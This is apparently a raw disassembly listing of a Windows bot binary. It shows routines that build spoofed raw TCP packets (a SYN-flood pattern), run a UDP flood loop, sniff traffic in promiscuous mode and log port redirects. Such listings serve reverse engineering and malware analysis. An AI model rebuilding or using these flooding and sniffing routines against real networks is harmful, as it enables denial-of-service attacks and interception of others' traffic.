; Attributes: noreturn
sub_4270E0 proc near ; CODE XREF: sub_401BB3j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021A3
sub_4270E0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_427171
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_427171: ; CODE XREF: ___:00427151j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
nop
call near ptr 71AB8769h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_4271A4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271A4: ; CODE XREF: ___:00427195j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_4271C7
loc_4271BA: ; CODE XREF: ___:0042736Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271C7: ; CODE XREF: ___:004271B8j
mov ecx, [esp+0B4h]
mov ebp, dword_50FC2C
push ecx
mov word ptr [esp+60h], 2
call ebp
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
nop
call near ptr 27D091Eh
mov [esp+48h], eax
mov al, byte_4D64E9
test al, al
jz loc_42741B
mov ebx, dword_50FABC
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_427265
; ---------------------------------------------------------------------------
xor esi, esi
loc_427265: ; CODE XREF: ___:00427261j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp
push 14h
mov [esp+3Ah], ax
call ebp
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
nop
call near ptr 71AB2BC0h
mov esi, eax
mov [esp+2Ch], esi
call ebx
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp
mov [esp+34h], ax
call ebx
mov edi, eax
shl edi, 10h
call ebx
or edi, eax
push edi
call ebp
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A28
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A28
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
nop
call near ptr 71AB2C69h
cmp eax, 0FFFFFFFFh
jz loc_4271BA
nop
call near ptr 27D091Eh
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_427417
mov al, [esp+13h]
test al, al
jz short loc_4273B9
push 2710h
push 3E8h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4273B9: ; CODE XREF: ___:0042739Ej
push 0FFh
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 8BF6E890h, 0E9A0023Fh, 84004D64h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_427417: ; CODE XREF: ___:00427396j
mov edi, [esp+18h]
loc_42741B: ; CODE XREF: ___:0042724Bj
push edi
nop
call near ptr 71AB9639h
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_427520 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40187F
mov esi, eax
call near ptr 77C371D3h
nop
and eax, 800001FFh
jns short loc_427541
dec eax
or eax, 0FFFFFE00h
inc eax
loc_427541: ; CODE XREF: sub_427520+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BB3
sub_427520 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427590 proc near ; CODE XREF: sub_401785j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427590
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E11C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427590 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_427618
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427618: ; CODE XREF: sub_427600+Dj
mov eax, esi
pop esi
retn 4
sub_427600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427630 proc near ; CODE XREF: sub_401159j
jmp sub_4014C4
sub_427630 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427650 proc near ; CODE XREF: sub_401A05j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427650
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_401424
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014D3
push eax
call sub_401730
add esp, 14h
test eax, eax
jz short loc_42771E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_42771E: ; CODE XREF: sub_427650+A2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427650 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277C0 proc near ; CODE XREF: sub_401730j
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_436840
push esi
push 11h
push 2
push 2
call near ptr 71AB3B91h
nop
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_427821
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_42781A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_42781A: ; CODE XREF: sub_4277C0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_427821: ; CODE XREF: sub_4277C0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_50FABC
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_42785D
call ebx
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call near ptr 71AB2B66h
nop
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42785D: ; CODE XREF: sub_4277C0+77j
push esi
call near ptr 71AB2B66h
nop
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_42787B
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42787B: ; CODE XREF: sub_4277C0+ACj
cmp esi, 0FFFFh
jle short loc_42788E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_42788E: ; CODE XREF: sub_4277C0+9Bj
; sub_4277C0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_4278A4
mov [esp+28h+arg_FFE4], 1
loc_4278A4: ; CODE XREF: sub_4277C0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_4278DE
loc_4278CB: ; CODE XREF: sub_4277C0+11Cj
call ebx
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_4278CB
loc_4278DE: ; CODE XREF: sub_4277C0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_427970
mov ebp, dword_50FC5C
loc_4278F6: ; CODE XREF: sub_4277C0+1AEj
mov al, byte_4D64E9
test al, al
jz short loc_427970
mov esi, 0Bh
loc_427904: ; CODE XREF: sub_4277C0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp
mov eax, [esp+40h+arg_FFCC]
push eax
call near ptr 2820000h
nop
dec esi
jnz short loc_427904
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_42795B
call ebx
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+48h+var_36], ax
loc_42795B: ; CODE XREF: sub_4277C0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_4278F6
loc_427970: ; CODE XREF: sub_4277C0+12Aj
; sub_4277C0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_4277C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4279F0 proc near ; CODE XREF: sub_40207Cj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A28
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
call near ptr 71AB8769h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_427A4D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A4D: ; CODE XREF: sub_4279F0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_427A6D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A6D: ; CODE XREF: sub_4279F0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
nop
call near ptr 71AB2C69h
push esi
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_4279F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427AD0 proc near ; CODE XREF: sub_401D9Dj
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_436840
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40187F
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40187F
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_446F60
mov eax, edi
loc_427B37: ; CODE XREF: sub_427AD0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_427B5B
test cl, cl
jz short loc_427B57
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_427B5B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_427B37
loc_427B57: ; CODE XREF: sub_427AD0+71j
xor eax, eax
jmp short loc_427B60
; ---------------------------------------------------------------------------
loc_427B5B: ; CODE XREF: sub_427AD0+6Dj
; sub_427AD0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_427B60: ; CODE XREF: sub_427AD0+89j
cmp eax, ebx
jnz short loc_427BB3
mov ebp, dword_4D60F7
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_427B77
cmp ebp, 0FFFFFFFFh
jnz short loc_427BBE
loc_427B77: ; CODE XREF: sub_427AD0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
call near ptr 71AB50C8h
nop
lea ecx, [esp+18h+arg_1C]
push ecx
nop
call near ptr 71AB4FD4h
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_427BBE
; ---------------------------------------------------------------------------
loc_427BB3: ; CODE XREF: sub_427AD0+92j
push edi
call sub_40187F
add esp, 4
mov ebp, eax
loc_427BBE: ; CODE XREF: sub_427AD0+A5j
; sub_427AD0+E1j
cmp ebp, ebx
jz short loc_427BC7
cmp ebp, 0FFFFFFFFh
jnz short loc_427BCD
loc_427BC7: ; CODE XREF: sub_427AD0+F0j
mov ebp, dword_4D60F7
loc_427BCD: ; CODE XREF: sub_427AD0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
call near ptr 71AB8769h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_427D0D
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
call near ptr 71AB3EA1h
nop
cmp eax, 0FFFFFFFFh
jz loc_427D0D
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
call near ptr 71AB3E00h
nop
cmp eax, 0FFFFFFFFh
jz loc_427D0D
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
nop
call near ptr 71AB4489h
cmp eax, 0FFFFFFFFh
jz loc_427D0D
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_427CF3
mov ebx, dword_50FC90
loc_427C63: ; CODE XREF: sub_427AD0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_427CE3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_427CBE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_427CDB
; ---------------------------------------------------------------------------
loc_427CBE: ; CODE XREF: sub_427AD0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_427CE3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_427CDB: ; CODE XREF: sub_427AD0+1ECj
call sub_40207C
add esp, 8
loc_427CE3: ; CODE XREF: sub_427AD0+1C0j
; sub_427AD0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_427C63
loc_427CF3: ; CODE XREF: sub_427AD0+187j
mov edx, dword_50FA84
add edx, 20h
push edx
call near ptr 77C3EEF6h
nop
add esp, 4
push esi
nop
call near ptr 71AB9639h
loc_427D0D: ; CODE XREF: sub_427AD0+11Dj
; sub_427AD0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_427AD0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427DC0 proc near ; CODE XREF: sub_401889j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427DC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_444F30
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E12C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427E30 proc near ; CODE XREF: sub_401F82j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427E30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427E30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427EF0 proc near ; CODE XREF: sub_40179Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427EF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427EF0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427FC0: ; CODE XREF: ___:00401A14j
; ___:loc_402068j
push esi
mov esi, ecx
call sub_40179E
test byte ptr [esp+8], 1
jz short loc_427FD8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427FD8: ; CODE XREF: ___:00427FCDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015F5
test [esp+4+arg_0], 1
jz short loc_428008
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428008: ; CODE XREF: sub_427FF0+Dj
mov eax, esi
pop esi
retn 4
sub_427FF0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428020 proc near ; CODE XREF: sub_4015F5j
jmp sub_40179E
sub_428020 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428040 proc near ; CODE XREF: sub_4015AFj
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_401D9D
add esp, 10h
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_428040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428160 proc near ; CODE XREF: sub_401884j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428160
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401F82
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_401424
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
mov dword ptr [esi], offset off_43E14C
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4015D7
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_428160 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BD1
test [esp+4+arg_0], 1
jz short loc_428238
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428238: ; CODE XREF: sub_428220+Dj
mov eax, esi
pop esi
retn 4
sub_428220 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428250 proc near ; CODE XREF: sub_401BD1j
push esi
mov esi, ecx
push edi
mov edi, dword_50FC88
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43E14C
cmp eax, 0FFFFFFFFh
jz short loc_42826E
push eax
call edi
loc_42826E: ; CODE XREF: sub_428250+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42827C
push eax
call edi
loc_42827C: ; CODE XREF: sub_428250+27j
lea ecx, [esi+0A1h]
